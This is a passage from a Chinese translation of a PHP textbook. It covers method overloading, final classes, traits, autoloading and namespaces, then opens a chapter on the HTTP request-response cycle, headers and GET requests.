    在这里,我们添加了一个 switch case 来适应不同的动态方法。我们为honk()方法添加了一个 case,以便我们可以对其做出响应并执行honk()方法的步骤。在honk()case 中,为了演示目的,我们检查了提供的参数,根据第一个参数打印了一条消息,并根据第二个参数打印了另一条消息,依此类推。我们也可以以不同的方式处理参数。

  10. Car.php的底部,在之前的$car->honk()行之后,添加以下两行:

    $car->honk('gently');
    $car->honk('louder', 'siren');
    

    这里,我们重载了honk()方法,并且该方法变得多态。我们可以鸣笛(默认),我们可以轻柔地鸣笛,我们可以大声鸣笛,在紧急情况下我们可以启用警报器。鸣笛的类比整个想法是总结我们如何在 PHP 中重载方法。

  11. 如果我们使用php Car.php命令运行Car.php,它将输出以下内容:

图 5.23:方法的重载

图 5.23:honk方法的重载

这就是我们可以向我们的对象添加动态属性和行为的方法,当然,我们当然可以在这些魔术方法中添加属性/方法限制,并与预构建的清单进行交叉检查,实现模式,等等。

最终类和方法

当我们通过提供一组标准的属性和方法来描述对象并既不希望修改类也不希望扩展该类来最终化我们的类声明时,我们需要使用 final 关键字声明它。例如,在一个简单的登录过程中,我们将给定的密码与存储的密码匹配以授予用户访问权限。我们不希望修改这个密码匹配器方法,因此我们需要将该方法声明为最终方法,或者我们的用户身份验证类可能有一组标准的我们不想修改或扩展的方法,因此我们需要将类声明为最终类。

最终类被编写为不继承,最终方法不能被覆盖。PHP 使用 final 关键字在最终类和最终方法之前。

查看以下最终类的示例:

final class MyClass
{
    public function myFunction()
    {
        echo "Base class method called.";
    }
}
class MyChildClass extends MyClass 
{
}

在这里,如果我们尝试扩展最终类 MyClass,它将产生一个致命错误,即 MyChildClass 类不能从最终的 MyClass 类继承。

此外,让我们有一个最终方法的示例:

class MySimpleClass
{
    final public function mySimpleMethod()
    {
        echo "Base class method mySimpleMethod() called.";
    }
}
class MyChildClass extends MySimpleClass
{
    public function mySimpleMethod()
    {
        echo "Child class method mySimpleMethod() called.";
    }
}

前面的操作将产生一个致命错误,因为您不能覆盖最终方法。

练习 5.10:实现最终类和方法

在这个练习中,我们将练习实现一个最终类和方法,以了解最终化方法和类的后果。我们将在 Car 子类中将一个成员方法作为最终方法应用,然后我们将把 Car 类作为最终类应用,这样我们就可以阻止从 Car 类的任何派生(继承):

  1. 打开 Car.php 并按照以下方式定位 start() 方法:

    <?php
        public function start()
        {
            if($this->hasKeyinIgnition) 
            {
                $this->engineStatus = true;
            }
        }
    

    如您所见,Car 会检查钥匙是否在点火位置以启动发动机。我们需要确保发动机启动过程涉及检查钥匙。换句话说,我们不会允许覆盖这个发动机启动过程。因此,我们需要通过在 start() 方法的访问修饰符之前使用 final 关键字来锁定任何可能的覆盖。

  2. start() 方法之前添加 final 关键字,如下所示:

        final public function start()
        {
            if($this->hasKeyinIgnition) 
            {
                $this->engineStatus = true;
            }
        }
    

    在这里,start() 方法已经被最终化,不应允许覆盖。

  3. Van.php 文件中创建一个新的 Car 子类 Van,内容如下:

    <?php
    require_once 'Car.php';
    class Van extends Car 
    {
    }
    

    在这里,VanCar 类的后代,并准备好覆盖从父类获得的所有方法。

  4. 让我们尝试覆盖由 Car 类声明的最终方法 start()

    class Van extends Car 
    {
        public function start()
        {
            $this->engineStatus = true;
        }
    }
    

    在这里,Van 类覆盖了 Car 类的 engine start() 方法,这在 Car 类中是不允许的。

  5. 如果我们使用 php –d display_errors=on Van.php 命令运行 Van.php,我们应该看到以下致命错误:图 5.24: 子类尝试覆盖  发动机启动方法

    图 5.24:Van 子类尝试覆盖 Car 发动机启动方法

    覆盖失败在 Van 子类。当我们需要确保我们的方法不与对象通信时,我们需要最终化这些方法。

  6. 现在,假设我们不需要进一步派生Car类,并且我们已经通过在Car类关键字之前添加final关键字来最终确定Car类,如下所示:

    final class Car extends AbstractVehicle implements DriveInterface 
    {
    }
    
  7. 再次,如果我们使用php –d display_errors=on Van.php命令运行Van.php,我们应该看到以下致命错误:

图 5.25:Van 子类尝试扩展 Car 类

图 5.25:Van 子类尝试扩展 Car 类

图 5.25:Van 子类尝试扩展 Car 类

这就是如何使用final关键字来防止方法覆盖和类扩展。在实践中,那些无论如何都不应该被覆盖的方法应该被最终化,那些不应该被扩展的类也应该被最终化。

trait

在像 PHP 这样的单继承语言中,我们常常觉得我们可以扩展另一个类来继承一些功能。例如,在我们的Car类中,我们已经继承了所有通用的车辆功能,现在我们可能需要添加一些电子商务功能。同样,Motorcycle类可能也需要这样的电子商务功能。由于与电子商务相关的功能不属于Vehicle类,我们需要考虑一个替代方案来重用这样的电子商务行为。因此,当我们需要向我们的对象添加一组行为时,我们通过方法将行为分组,并在我们的类中使用traittrait类似于一个类,但你不能实例化它;相反,你可以在类中使用traittrait可以在类上下文中使用use关键字;例如,use TraitName

查看以下trait语法:

trait MyTraitName{
    function one()
    {
        …
    }
    function two()
    {
        …
    }
}
class MyClass extends B{
    use MyTraitName;
}
$object = new MyClass();
$object->one();
$object->two();

在这里,MyTraitName``trait帮助组合多个方法,one()two(),并且为了重用这些方法,我们可以使用MyTraitName;来使用trait。因此,trait方法对MyClass{…}可用,并且可以使用MyClass{…}对象处理程序来调用,如前面的代码所示。

你可以使用多个trait,如下所示:

class MyClass extends B
{
    use Trait1, Trait2;
}

再次,由trait插入的成员覆盖了继承的成员。让我们看看以下例子:

<?php
class A{
    public function say()
    {
        echo 'Base ';
    }
}
trait T{
    public function say() 
    {
        parent::say();
        echo 'Trait ';
    }
}
class MyClass extends A{
    use T;
}
$object = new MyClass();
$object->say(); //outputs, Base Trait

在这里,MyClass扩展了具有名为say()方法的类A,因为MyClass使用了trait方法say()。然后,我们可以将MyClass成员say()视为覆盖了父类的say()。为了调用原始父方法say()trait支持使用parent::来访问父类的方法。trait完全是关于向你的类提供被认为是类有用部分的方法的。

当前类成员可以覆盖trait添加的成员。再次,如果我们扩展前面的例子,我们可以得到以下例子:

MyClass.php
1  <?php
2  class A 
3  {
4      public function say() 
5      {
6          echo 'Base ';
7      }
8  }
9  trait T  
10 {
11     public function say() 
12     {
13         parent::say();
14         echo 'Trait ';
15     }
https://packt.live/2M56lcA

注意,say()方法根据顺序被覆盖。trait方法覆盖继承的方法,类成员覆盖trait方法。因此,父类A中的say()trait Tsay()方法覆盖,然后,最终,MyClass中的say()覆盖了traitsay()方法。

特性是一种添加功能和扩展继承的方式。特性使您能够水平地添加更多功能,而无需继承另一个类。

练习 5.11:实现特性

在这个练习中,我们将创建一个新的特性名为PriceTrait,并将价格设置器和获取器方法从AbstractVehicle类移到这个特性中。由于与价格相关的功能不应属于核心车辆特性,而应属于电子商务特性,我们将添加各种价格方法到新的价格相关特性中。将价格相关方法移入PriceTrait的整体想法是概念化特性如何进入场景,并将逻辑上相关的方法定义为具有名称的组。

注意

根据 PSR 命名约定,特性名称必须后缀为 Trait;例如,TestTrait (packt.live/2IEkR9k)。

  1. 打开AbstractVehicle.php并定位getPrice()setPrice()方法。

  2. 创建一个名为PriceTrait.php的新 PHP 文件,包含以下特性:

    <?php
    trait PriceTrait
    {
    }
    
  3. Vehicle类中的getPrice()setPrice()方法剪切并粘贴到以下PriceTrait特性中:

    <?php
    trait PriceTrait  
    {
        public function getPrice()
        {
            return $this->price;
        }
        public function setPrice($price)
        {
            $this->price = $price;
        }
    }
    

    在这里,我们添加了包含从AbstractVehicle类移除的getPrice()setPrice()方法的PriceTrait特性体。请注意,这些方法仍然包含使用$this(对象实例变量)的原始行,尽管特性不能实例化,这意味着这些方法是为了被将要使用PriceTrait的类的对象访问而设计的。

  4. 现在我们需要在AbstractVehicle类中引入PriceTrait.php文件,如下所示,以便AbstractVehicle类可以使用该特性:

    <?php
    require_once 'PriceTrait.php';
        abstract class AbstractVehicle 
        {
            //code goes here
        }
    
  5. Vehicle类中使用PriceTrait,如下所示:

    <?php
    require_once 'PriceTrait.php';
    abstract class AbstractVehicle 
    {
            use PriceTrait;
            public $make;
            public $model;
            public $color;
            protected $noOfWheels; 
            private $engineNumber;
            public static $counter = 0;
            protected $engineStatus = false;
            protected $price;
            ...
    

    在这一行use PriceTrait中,AbstractVehicle类获取了包含两个价格设置和获取方法的PriceTrait特性。因此,CarMotorcycle类继承了这两个方法,这正是我们的意图,以这种方式水平地添加功能。请注意,我们在AbstractVehicle类中保留了$price属性,以便通过派生车辆的设置器和获取器来访问它。

  6. CarMotorcycle子类没有变化,因为它们应该自动使用特性方法。由于父类Vehicle使用PriceTrait,特性方法成为Vehicle类的成员,子类可以覆盖这些继承的方法。Car类没有覆盖价格方法,但Motorcycle类覆盖了getPrice()方法,以对给定的价格应用 5%的折扣。在Motorcycle类中定位getPrice()方法:

        function getPrice()
        {
            return $this->price - $this->price * 0.05;
        }
    

    在这里,特性之后的这种覆盖对子类有效,这里不需要进行任何更改。

  7. 为了测试折扣价格,我们应该实例化Motorcycle类,设置价格,并获取价格以查看是否应用了折扣,这在之前的Motorcycle.php中已经完成。在Motorcycle.php文件中定位以下内容:

    $motorcycle = new Motorcycle('Kawasaki', 'Ninja', 'Orange', 2,   '53WVC14598');
    $motorcycle->setPrice(5000);
    echo "The price is  ". $motorcycle->getPrice() . PHP_EOL;
    
  8. 现在,如果我们用php Motorcycle.php命令运行Motorcycle.php,前面的代码将输出以下内容:

图 5.26:由摩托车覆盖的特性方法

图 5.26:由摩托车覆盖的特性方法

因此,特性可以用来添加类的成员方法,可以覆盖任何同名的现有成员方法,并且可以通过继承来被覆盖。或者,我们也可以直接在CarMotorcycle类中使用PriceTrait,而不是通过Vehicle类来添加特性。我们的意图是通过父类Vehicle共享车辆的共同特性,这就是为什么我们在母类中使用了特性的原因。

类自动加载

如果你选择使用 Composer,你可以跳过这一部分。考虑为无法使用 Composer 的旧版 PHP 项目进行类自动加载。

注意

随着 PHP 包管理器 Composer 的加入,你可以利用 Composer 的自动加载器来加载类、库等等。有关更多详细信息,请参阅packt.live/2MrJG9u。第九章,Composer详细讨论了Composer自动加载

要在另一个文件中使用的类,我们必须在当前文件中包含包含该类的相应文件。这种方法最终会在任何 PHP 脚本中包含大量的文件。因此,我们需要某种自动包含所需类文件的东西。

为了自动加载你的类,PHP 自带了spl_autoload_register()函数。使用该函数,我们可以注册任意数量的自动加载器,以便我们可以按需加载类和接口。是的——按需。这意味着自动加载是懒加载的——只有当它们被调用时才会加载类或接口。

查看以下简单的代码片段:

<?php
spl_autoload_register(function ($className) 
{
    require_once $className. '.php';
});
$obj1= new ClassName1();
$obj2 = new ClassName2(); 

前面的代码片段等同于以下:

<?php
require_once 'ClassName1.php';
require_once 'ClassName2.php';

$obj1  = new ClassName1();
$obj2 = new ClassName2(); 

因此,在前面的代码片段中,你可以看到我们向spl_autoload_register()函数传递了一个匿名 PHP 函数。这个匿名函数接受类或接口名称,并尝试包含/要求相应的文件。使用spl_autoload_register函数,我们可以注册我们自己的这样的自动加载器函数,并且我们可以执行所有 sorts 的操作来加载文件,例如设置文件路径/目录,检查文件是否存在,抛出异常等等。因此,我们可以避免一个较大的文件包含语句列表。

例如,对于Car.phpMotorcycle.php,我们可以用spl_autoload_register()函数替换以下两行:

require_once 'AbstractVehicle.php';
require_once 'DriveInterface.php';

前面的代码片段可以用以下代码替换:

spl_autoload_register(function ($className) 
{
    require_once $className. '.php';
});

因此,如下所示,当Car类继承自AbstractVehicle类并实现DriveInterface接口时,自动加载器会被调用以加载相应的类文件和接口文件:

class Car extends AbstractVehicle implements DriveInterface 
{
...
}

在这里,当类或接口被使用时,注册的自动加载器会被调用以加载文件。

注意

要自动加载 PSR-4 类,请遵循packt.live/314fBCj上的指南。

spl_autoload_register()函数的规范可以在packt.live/2B1PLEu找到。

命名空间

正如其名所示,命名空间提供了命名和作用域,因此,命名空间是封装项的另一种方式。我们可以调用命名作用域,命名空间可以包含具有名称的组中的相关常量、函数、类、抽象类、特质和接口,并且可以使用名称来访问它们。

作为类比,考虑人的命名。人在家庭中会被赋予独特的名字以便识别和称呼。在家庭之外,如果有两个人同名怎么办?在计算机科学系可能有一个 John Doe,在电子工程系可能也有另一个 John Doe。巧合的是,他们最终都加入了大学足球队,因此他们可以被称作计算机科学系的 John Doe 或电子工程系的 John Doe。当然,球队不希望把足球传给错误的人。

同样适用于计算机文件系统:有目录和子目录。在一个目录内部,可以包含其他目录,但不能有两个同名目录。再次强调,同名文件可以存在于两个不同的目录中;例如,/usr/home/readme.md/var/projects/readme.md

在编程中,命名空间解决了诸如名称冲突等问题,其中类或库具有相同的名称,以便它们可以在不同的名称下使用。当然,我们不希望编写一个与另一个类的名称冲突而污染全局作用域的类。此外,命名空间提供了别名功能——我们可以缩短长名称,从而提高代码的可读性。

PHP 支持使用namespace关键字声明命名空间,如下所示:

<?php
namespace MyNamespace;
const MYCONST = 'constant';
function myFunction()
{
...
}
class MyClass
{
...
}
echo MyNamespace\MYCONST;
echo myFunction(); //resolves to MyNamespace\myFunction
echo MyNamespace\myFunction();//explicitly resolves to MyNamespace\myFunction    
$object = new MyNamespace\MyClass();

命名空间应该是您在脚本中声明的第一个语句。尽管如此,您可以在不使用命名空间的情况下编写代码。

如果我们不定义命名空间,我们的代码将保持在全局命名空间中。这就是为什么全局命名空间很容易被产生名称冲突所污染。

声明命名空间的可选语法如下:

namespace MyNamespace
{
    ...
}

我们可以在单个文件中声明多个命名空间,如下所示:

<?php
namespace MyNamespaceA;
class MyClass
{
...
}
namespace MyNamespaceB;
class MyClass
{
...
}
$object1 = new MyNamespaceA\MyClass();
$object2 = new MyNamespaceB\MyClass();

强烈不建议在同一个文件中放置多个命名空间,以促进良好的编码实践。一个在同一个文件中放置多个命名空间的通用用例是包含多个 PHP 文件在同一个文件中。

您还可以声明子命名空间以实现命名空间的层次结构,如下所示:

<?php
namespace MyNamespace\SubNamespace;
const MYCONST = 'constant';
function myFunction()
{
...
}
class MyClass
{
...
}
echo \MyNamespace\SubNamespace\MYCONST;
echo \MyNamespace\SubNamespace\myFunction();
$object = new \MyNamespace\SubNamespace\MyClass();

我们可以使用 use 关键字导入命名空间,并且可以选择使用 as 关键字给命名空间起别名,如下所示:

//file1.php
<?php
namespace MyNamespaceA;
const MYCONST = 'constant';
function myFunction()
{
...
}
class MyClass
{
...
}

file2.php 将如下所示:

<?php
namespace MyNamespaceB;
require_once 'file1.php';
use MyNamespaceA\MyClass as A; //imports the class name
$object = new A();//instantiates the object of class MyNamespaceA\MyClass
use function MyNamespaceA\myFunction;//importing a function
myFunction();//calls MyNamespaceA\myFunction
use function MyNamespaceA\myFunction as func;//aliasing a function
func();//calls MyNamespaceA\myFunction
use const MyNamespaceA\MYCONST; //imports a constant
echo MYCONST;//prints the value of MyNamespaceA\MYCONST

use MyNamespaceA\MyClass as A; 行中,MyClassMyNamespaceA 被导入到 MyNamespaceB 中,并且在导入时将类名别名为 A,这样我们就可以将 MyClass 类实例化为类 A,即 $object = new A();

对于其他导入也是如此。我们可以从另一个命名空间导入一个函数,例如使用 MyNamespaceA\myFunction; 函数,并通过使用 MyNamespaceA\myFunction as func; 函数来给它起别名。

这样,我们可以使用 func() 别名来调用函数。同样,在导入常量时也可以这样做。使用 use const MyNamespaceA\MYCONST; 行,我们导入了常量。

组合多个导入也是可能的:

//file2.php
<?php
namespace MyNamespaceB;
require_once 'file1.php';
use MyNamespaceA\MyClass as A, MyNamespaceA\myFunction; 
$object = new A();//instantiates the object of class MyNamespaceA\MyClass
myFunction();//calls MyNamespaceA\myFunction

use MyNamespaceA\MyClass as A, MyNamespaceA\myFunction; 行中,我们同时导入了类和方法,并且将类名别名为 A。通常,导入必要的类或函数从命名空间的目的就是这样的导入,而不是导入整个命名空间。

PHP 命名空间提供了很多功能,并且有更多用例和方面可以在 packt.live/2AYilqj 学习。

练习 5.12:实现命名空间

在这个练习中,我们将将命名空间应用到我们的与车辆相关的类、特性和接口中。我们将对 AbstractVehicle 类、DriveInterfaceCarMotorcycle 类应用一个公共命名空间。对于特性,我们将应用不同的命名空间,以便我们可以将特性保持在与公共命名空间分开的状态:

  1. 创建一个 Vehicle 目录来将 AbstractVehicle.phpDriveInterface.php 移动到其中。

  2. AbstractVehicle.phpDriveInterface.php 移动到当前工作目录下的车辆子目录中。

  3. 创建另一个目录 Traits 来移动 PriceTrait.php 文件和未来的特性。

    目录结构如下所示:

    图 5.27:命名空间目录结构

    图 5.27:命名空间目录结构

  4. 现在是时候将命名空间应用到我们的类和特性中了。打开 PriceTrait.php 文件并在开头添加 Traits 命名空间,如下所示:

    <?php
    namespace Traits;
    trait PriceTrait  
    {
        … 
    }
    

    在这里,我们在 PriceTrait 的开头声明了 Traits 命名空间。我们的目的是在将来,在同一个命名空间下添加不同的特性文件;例如,namespace Traits(在任意新的特性文件的开头)。整个想法是将 Traits 命名空间应用到多个特性文件中,这样我们就可以通过命名空间选择正确的特性。因此,我们可以像使用 \Traits\PriceTrait 一样使用 PriceTrait

  5. 打开 AbstractVehicle.php 文件并删除以下行:

    require_once 'PriceTrait.php'; 
    

    由于我们将自动加载类和特性文件,我们不需要手动要求文件。

  6. AbstractVehicle 类之前添加以下命名空间:

    namespace Vehicle;
    

    在这里,Vehicle 命名空间将成为我们在车辆子类和接口之间共享的公共命名空间。

  7. 使用命名空间更新 use PriceTrait,如下所示:

    <?php
    namespace Vehicle;
        abstract class AbstractVehicle 
        {
            use \Traits\PriceTrait;
            …
        }
    

    在这里,use \Traits\PriceTrait; 行告诉自动加载器从位于代码库根目录的 Traits 目录加载 PriceTrait

  8. DriveInterface 接口之前添加 Vehicle 命名空间,如下所示:

    <?php
    namespace Vehicle;
    interface DriveInterface 
    {
        …
    }
    

    在这里,DriveInterfaceVehicle 命名空间共享,因此可以通过相同的命名空间访问该接口。

  9. 打开 Car.php 文件以消除以下手动文件包含:

    require_once 'AbstractVehicle.php'; 
    require_once 'DriveInterface.php';
    

    Vehicle 命名空间替换为以下内容:

    <?php
    namespace Vehicle;
    class Car extends AbstractVehicle implements DriveInterface 
    {
        …
    }
    

    在这里,CarVehicle 具有相同的命名空间。因此,在类行中,Car 继承自 AbstractVehicle 并实现了 DriveInterfaceAbstractVehicleDriveInterface,以解决当前的命名空间 Vehicle。这与 Car 类继承自 Vehicle\AbstractVehicle 并实现 Vehicle\DriveInterface 相似。

  10. 现在,在 Car 类之前添加 spl_autoload_register() 函数,如下所示:

    <?php
    namespace Vehicle;
    spl_autoload_register();
    class Car extends AbstractVehicle implements DriveInterface 
    {
        …
    }
    

    因此,自动加载函数应从 Vehicle 目录加载 AbstractVehicle 类和 DriveInterface 接口,因为它支持从命名空间目录加载类。

  11. 对于 Motorcycle.php 也进行相同的操作,如下所示:

    <?php
    namespace Vehicle;
    spl_autoload_register();
    class Motorcycle extends AbstractVehicle implements DriveInterface 
    {
        …
    }
    

    在这里,Motorcycle 类也共享相同的命名空间 Vehicle,以便使用 AbstractVehicleDriveInterface

  12. Car.php 中,添加以下 Car 实例以测试 AbstractVehicleDriveInterface 的实现:

    $car = new Car('Honda', 'Civic', 'Red', 4, '23CJ4567');
    $car->start();
    echo "The car is " . ($car->getEngineStatus()?'running':'stopped') .   PHP_EOL;
    $car->changeGear(1);
    $car->changeSpeed(15);
    $car->changeGear(2);
    $car->changeSpeed(35);
    $car->applyBreak();
    $car->stop();
    echo "The car is " . ($car->getEngineStatus()?'running':'stopped')  .   PHP_EOL;
    

    在这里,为了测试扩展类和实现接口,我们实例化了 Car 类,并使用对象处理程序访问不同的成员方法。

  13. 如果我们使用 php Car.php 命令运行前面的 Car.php 脚本,将产生以下输出:图 5.28:应用于 Car 的命名空间

    图 5.28:应用于 Car 的命名空间

    我们可以看到 Car 类可以访问应用于抽象类和接口的命名空间。

  14. 现在,将以下 Motorcycle 实例添加到 Motorcycle.php 中以测试 AbstractVehicleDriveInterface 的实现:

    $motorcycle = new Motorcycle('Kawasaki', 'Ninja', 'Orange', 2,   '53WVC14598');
    $motorcycle->start();
    echo "The motorcycle is " . ($motorcycle->getEngineStatus()?'running':  'stopped') . PHP_EOL;
    $motorcycle->changeGear(3);
    $motorcycle->changeSpeed(35);
    $motorcycle->applyBreak();
    $motorcycle->stop();
    echo "The motorcycle is " . ($motorcycle->getEngineStatus()?'running':'stopped') . PHP_EOL;
    $motorcycle->setPrice(5000);
    echo "The price is ". $motorcycle->getPrice() . PHP_EOL;
    
  15. 在运行 Motorcycle.php 脚本并使用 php Motorcycle.php 命令后,前面的代码将产生以下输出:

图 5.29:应用于 Motorcycle 的命名空间

图 5.29:应用于 Motorcycle 的命名空间

在前面的练习中,我们看到了 Vehicle 命名空间封装了所有相关项,例如抽象类、接口和子类。因此,命名空间可以在多个文件的相关代码组件之间共享。此外,我们还可以在内部库、插件、实用文件等中创建子命名空间。命名空间的想法是将你的项目组织在一个独特且相关的名称下,这样在集成第三方代码组件时,你的代码组件不会发生冲突。

活动第 5.1 部分:构建学生和教授对象关系

在这个活动中,我们将实现 OOP 概念,创建具有参数化构造函数、属性和成员方法的 StudentProfessor 类。我们将实例化这两个类,并在对象之间建立关系。教授可能在其课程中有一定数量的注册学生。应使用 Professor 对象的成员方法打印学生列表。

要执行的操作如下:

  1. 创建一个名为 activity1 的目录,将所有活动内容放入其中。这应该是我们的工作目录(你可以使用 cd 命令进入该目录)。

  2. 创建一个名为 activity-classes.php 的脚本文件。

  3. 在不同的目录中创建 ProfessorStudent 类,并具有以下功能。

    两者都使用自己的命名空间自动加载类。

    两个类都将名称作为构造函数的第一个参数;Professor 类接受第二个参数作为学生列表 – 列表将仅过滤 Student 实例。

    两者都将具有标题属性,对于 Professor 类默认为 Prof.,对于 Student 类默认为 student

  4. 创建一个函数,用于打印教授的标题、姓名、学生数量和学生列表。

  5. 创建一个 Professor 实例,提供一个名称和学生列表 – 构造函数中的 Student 实例具有名称。

  6. Professor 实例添加一定数量的 Student 实例。

  7. 将教授的标题更改为 Dr.

  8. 通过调用函数并使用 Professor 实例来打印输出。

输出应如下所示:

Dr. Charles Kingsfield's students (4):
  1\. Elwin Ransom
  2\. Maurice Phipps
  3\. James Dunworthy
  4\. Alecto Carrow

注意

本活动的解决方案可以在第 515 页找到。

摘要

在本章中,我们使用了面向对象的概念,并注意到了每个概念如何适应不同的场景。封装、继承、多态、数据抽象、动态绑定和消息传递都为我们的程序增添了新的维度。请注意,当这些概念适合你的特定场景时,可以采用它们;在此之前,没有必要使程序复杂化。我们已经看到,OOP 原则的误用很常见,而且将来这会增加复杂性的负担。

依赖项应从外部注入,而不是在内部硬编码。抽象不应依赖于细节;适当地隐藏你的数据,隐藏你的复杂性,并在消息传递时展示简单性。总的来说,应负责将程序中的对象与问题域进行映射。请记住这个简单的陈述:“如果你不能重用它,那么它就没有价值。”

在下一章中,我们将描述请求处理、存储本地数据和文件上传。

第六章:6. 使用 HTTP

概述

到本章结束时,你将能够解释应用程序的请求-响应周期;解释各种 HTTP 方法;执行数据清理和验证;跟踪用户会话数据;并构建一个 Web 应用程序。

本章为你提供了在实用 Web 应用程序中使用和实现 HTTP 请求的必要工具。你将熟悉请求类型和 URL 组件,并了解万维网WWW)上的常见漏洞,以及如何保护你的应用程序免受此类攻击。

简介

到目前为止,我们已经分析了 PHP 语言本身——包括数据类型、表达式、运算符和控制语句——以及如何在函数和类中使用它们。在我们利用所学知识构建一个网络应用程序之前,理解网络应用程序中的客户端-服务器通信至关重要。

网络应用程序(即网站)被设计为对每个请求返回一个响应,这导致了请求-响应周期。在 Web 应用程序的世界里,这个周期是通过超文本传输协议HTTP)来完成的,这是一个确保双方使用相同的语言或结构的协议。HTTP 要求以两种方式发送数据——从客户端到服务器(请求),然后反过来;也就是说,从服务器到客户端(响应),从而完成周期。请求-响应周期并不一定意味着在应用逻辑中发生冲突;它可能是一个对资源的请求,例如 CSS 文件、图片,甚至是 PDF 文件。本质上,大多数文件下载都是 HTTP 请求的结果。所有典型的 Web 应用程序都需要一些 HTTP 请求来在 WWW 上提供内容。

在本章中,我们将使用各种 HTTP 方法执行 HTTP 请求。我们将通过清理和验证输入数据来在 PHP 中处理这些 HTTP 请求,并学习如何保护应用程序免受恶意请求的侵害。到本章结束时,你将使用基本身份验证、文件上传和临时数据存储功能构建你的第一个 Web 应用程序。

网络应用程序的请求-响应周期

要了解应用程序如何在浏览器中加载,或者它是如何从服务器获取数据的,了解请求-响应周期非常重要。请求-响应模型被广泛使用,并且不仅适用于 Web 应用程序(如使用浏览器)。实际上,它也用于机器之间的通信;例如,从数据库获取数据,这涉及到应用系统的一侧和数据库系统的一侧。在这种情况下,应用程序是数据库系统的客户端。

HTTP 是 Web 应用程序中最常用的协议,由于它可能需要整本书来介绍,我们在这里只介绍最重要的部分,解释它是如何工作的。

每个 Web 应用都会接收一个请求并为它准备一个响应。通常,Web 应用的请求-响应周期看起来类似于以下这样:

  1. 客户端发起一个请求;例如,GET /path

  2. 服务器接收请求并查找指定 URI 的现有或静态文件,并将其返回给客户端。如果静态文件不存在,则将请求视为动态请求,并将其发送到应用程序。

  3. 应用程序准备并发送响应回服务器层(即,它处理请求)。

  4. 服务器将应用程序的响应转发给客户端:

图 6.1:Web 应用的请求-响应周期

图 6.1:Web 应用的请求-响应周期

让我们了解这里发生了什么:

  1. Web 应用的客户端通常是浏览器,所以以下内容我将坚持使用浏览器作为客户端。每次通过浏览器的地址栏访问 URL、提交表单或执行 AJAX 的背景调用时,都会向该 URL 发出新的请求。在主机名(或网站域名)之后,它是服务器 IP 地址的别名,请求将击中服务器。

  2. 服务器在 Web 应用中扮演着非常重要的角色。在这种情况下,它将尝试仅将动态请求路由到 PHP 应用程序。因此,服务器配置中的一条规则可能是检查应用程序公共 Web 目录内的文件,根据 URI 返回文件;如果文件不存在,则将请求视为动态请求并将其转发到 PHP 应用程序。

  3. 应用程序接收请求并根据它执行某些操作,例如从数据库中检索英雄列表并按特定顺序列出它们,然后准备响应并发送回去。

  4. 服务器将简单地转发那个响应到开放的请求。

当然,这是一个简化的应用程序基础设施设置和请求-响应周期的基础示例。如今,尤其是在考虑可扩展性的情况下设计 Web 应用时,图表看起来会非常不同。然而,好事是作为开发者的你不必担心这一点,或者至少目前不必。

在这里需要记住的是,每个 Web 应用都是设计用来对请求做出响应的,无论请求来自何方——无论是nginx服务器还是内置服务器——因为所有请求看起来都是一样的。

典型的 HTTP 请求

每个 HTTP 请求都会由 PHP 自动解析。

这里是一个 HTTP 请求的示例,当访问www.packtpub.com/tech URL 时:

图 6.2:一个示例 HTTP 请求

图 6.2:一个示例 HTTP 请求

这些标头是由浏览器生成的。从这个请求中,应用程序可以利用大量信息。首先,这是一个针对 /tech URI 的 GET 请求,使用 HTTP/1.1 协议(第 1 行),调用主机是(第 2 行)。浏览器根据地址栏中的 URL 设置这些参数。Connection 标头设置为 keep-alive,意味着与服务器的连接不会关闭,并且可以对该服务器发出后续请求(第 3 行)。

Upgrade-Insecure-Requests 标头向服务器提供提示,让服务器知道客户端更喜欢加密和认证的响应(即,它更喜欢 HTTPS 而不是 HTTP)。User-Agent 标头包含客户端信息——在这种情况下,它是 Chromium 浏览器——提供有关构建的有用信息。Accept 标头给我们提供了客户端期望的内容的提示,按质量分组。这里的 q 被称为因子权重,它给出了此标头条目中每个值的品质,其中较大的数字与较高的品质相关联。默认值为 */*,意味着期望任何内容类型。因此,在我们的情况下,它以最低的品质出现:0.8Accept-Encoding 详细说明了响应的内容编码,客户端能够理解。Accept-Language 标头详细说明了客户端能够理解的语言以及首选的区域设置;同样,这也是按优先级分组,使用相同的 q 权重因子。Cookie 标头是最重要的标头之一,是从客户端向服务器发送数据的一种方便方式。我们将在稍后更多地讨论这一点。

典型的 HTTP 响应

对于之前的请求,我们将得到以下响应标头:

![图 6.3 一个示例 HTTP 响应图 C14196_06_03.jpg

图 6.3 一个示例 HTTP 响应

响应中最重要的信息是响应状态,其中 2xx 与成功请求相关联。状态的全列表可以在 packt.live/2owOHG2 找到。在我们的情况下,我们得到了 200 OK,这意味着请求成功。在众多知名的 HTTP 响应状态中,以下是一些:

![图 6.4:HTTP 响应状态图 C14196_06_04.jpg

图 6.4:HTTP 响应状态

一些最常见的标头包括以下内容:

  • Date:这代表 HTTP 响应消息创建的日期和时间。

  • Content-Type:这用于指示资源的媒体类型(或 Multipurpose Internet Mail Extensions (MIME)类型)。

  • Expires:这包含响应被认为过时的日期/时间。

  • Cache-Control:这用于指定缓存机制的指令。

  • gzipdeflatebr 标头,表明 gzip 是浏览器使用的已知编码机制。因此,服务器使用 gzip 对数据进行压缩。

  • 非标准 X- 前缀的头部:尽管这个约定已经被弃用,但它仍然用于自定义专有头部。

请求方法

正如我们之前提到的,请求在消息的开头有一个 GET 令牌,这意味着它是一个 GET 类型的请求。这是最常用的 HTTP 请求类型之一,因为它是一种从服务器获取数据的方式,无论是 HTML 页面、图像、PDF 文档还是纯文本数据。正如你可能猜到的,还有更多类型的 HTTP 请求,包括 POSTOPTIONSHEADPUTDELETE 等。我们在这里不会涵盖所有这些,只介绍必要的。

GET HTTP 请求

GET HTTP 请求是用于 Web 应用程序中最常用的。它提供了从服务器请求的资源所需的信息。这些资源信息可以放在 query string、URL 的 path 或两者中。

让我们检查 www.packtpub.com/tech/PHP URL 的组成:

  1. 首先,我们有协议 – https – 这意味着使用了安全的 HTTP 协议。

  2. 然后,是主机名,指向所需资源的位置。

  3. 最后,是路径,指向 资源标识符

因此,我们可以这样说,URL 描述了 如何 (https),从哪里 (www.packtpub.com),以及 什么 (/tech/PHP) 被请求,尤其是在涉及到 GET 请求的情况下。这在下图中得到了可视化:

图 6.5:URL 组件的解释

图 6.5:URL 组件的解释

重要提示:出于安全原因,请不要使用 GET 发送敏感信息,例如登录凭据。因为 GET 使用查询字符串发送数据,而这些数据是 URL 的一部分,对每个人都是可见的。因此,它将保留在浏览器历史记录中——这意味着您的浏览器实际上会将您的登录 URL 保留在其历史记录中。这可以在下图中观察到:

